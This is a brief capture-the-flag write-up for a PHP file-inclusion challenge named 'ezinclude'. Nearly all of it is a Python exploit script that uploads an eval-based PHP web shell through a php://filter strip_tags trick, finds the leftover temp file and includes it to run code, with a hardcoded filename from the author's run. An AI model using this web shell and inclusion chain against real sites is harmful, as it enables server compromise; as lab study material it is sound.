C
C
CTF-WriteUp
Search
⌃K

ezinclude

flag在phpinfo,蛋疼
import requests
from io import BytesIO
import re
files = {
'file': BytesIO('<?php eval($_REQUEST[Qftm]);'.encode())
}
url1 = 'http://d16f3fa6-c8ba-454d-8e47-4e834b2e47e4.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)
url2 = 'http://d16f3fa6-c8ba-454d-8e47-4e834b2e47e4.node4.buuoj.cn:81/dir.php'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]+", r.content.decode('utf-8')).group(0)
data = "phpsQM9Oq"
print(data)
url3 = 'http://d16f3fa6-c8ba-454d-8e47-4e834b2e47e4.node4.buuoj.cn:81/flflflflag.php?file=/tmp/' + data
data = {
'Qftm': "phpinfo();"
}
r = requests.post(url=url3, data=data)
print(r.content)